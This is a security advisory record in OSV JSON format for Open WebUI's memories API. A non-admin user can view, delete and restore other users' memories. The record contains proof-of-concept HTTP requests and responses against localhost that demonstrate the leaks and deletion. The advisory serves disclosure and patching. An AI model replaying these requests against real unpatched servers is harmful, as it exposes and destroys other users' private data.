{"id":"PYSEC-2026-2733","summary":"Open WebUI has inconsistent authorization controls within memories API","details":"### Summary\n\nAuthorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories.\n\n\n### Details\n\nUsing a newly created non-admin user with no existing memories, it is possible to view existing memories via `POST /api/v1/memories/query`. See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users.\n\nSimilarly, even if a non-admin user cannot modify another user's memory data via `POST /api/v1/memories/{memory_id}/update`, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known.\n\nThe `DELETE /api/v1/memories/{memory_id}` can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the `POST /api/v1/memories/{memory_id}/update` endpoint again.\n\n### PoC 1\n\n**Example of a user with no memories able to query an existing memory from another user**\n\n```\nGET /api/v1/memories/ HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 0\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:19:58 GMT\nserver: uvicorn\ncontent-length: 2\ncontent-type: application/json\nx-process-time: 0\n\n[]\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:22:01 GMT\nserver: uvicorn\ncontent-length: 187\ncontent-type: application/json\nx-process-time: 0\naccess-control-allow-origin: *\naccess-control-allow-credentials: true\n\n{\"ids\":[[\"d6802d76-a50f-4255-b68e-0f60c335e043\"]],\"documents\":[[\"My secret content\"]],\"metadatas\":[[{\"created_at\":1752784616,\"updated_at\":1752864797}]],\"distances\":[[0.6216812525921495]]}\n```\n\n### PoC 2\n\n**Example showing excess output about a memory a user has no access to modify**\n\n```\nPOST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 23\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 18:53:37 GMT\nserver: uvicorn\ncontent-length: 172\ncontent-type: application/json\nx-process-time: 0\n\n{\"id\":\"d6802d76-a50f-4255-b68e-0f60c335e043\",\"user_id\":\"a050e531-356b-4673-8772-ff1aecdf3273\",\"content\":\"My secret content\",\"updated_at\":1752864797,\"created_at\":1752784616}\n```\n\n### PoC 3\n\n**Example showing a memory being deleted then restored by a different user than its owner**\n\n```\nDELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nConnection: keep-alive\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:31:19 GMT\nserver: uvicorn\ncontent-length: 4\ncontent-type: application/json\nx-process-time: 0\n\ntrue\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:32:31 GMT\nserver: uvicorn\ncontent-length: 63\ncontent-type: application/json\nx-process-time: 0\n\n{\"ids\":[[]],\"documents\":[[]],\"metadatas\":[[]],\"distances\":[[]]}\n```\n\n```\nPOST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 23\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:33:05 GMT\nserver: uvicorn\ncontent-length: 172\ncontent-type: application/json\nx-process-time: 0\n\n{\"id\":\"d6802d76-a50f-4255-b68e-0f60c335e043\",\"user_id\":\"a050e531-356b-4673-8772-ff1aecdf3273\",\"content\":\"My secret content\",\"updated_at\":1752864797,\"created_at\":1752784616}\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:33:34 GMT\nserver: uvicorn\ncontent-length: 187\ncontent-type: application/json\nx-process-time: 0\n\n{\"ids\":[[\"d6802d76-a50f-4255-b68e-0f60c335e043\"]],\"documents\":[[\"My secret content\"]],\"metadatas\":[[{\"created_at\":1752784616,\"updated_at\":1752864797}]],\"distances\":[[0.6216812525921495]]}\n```\n\n### Impact\n\nPotential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.","aliases":["CVE-2026-44570","GHSA-hmjq-crxp-7rjw"],"modified":"2026-07-13T16:32:20.992358504Z","published":"2026-07-13T15:15:43.981118Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-hmjq-crxp-7rjw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44570"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hmjq-crxp-7rjw"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.19"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2733.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"}]}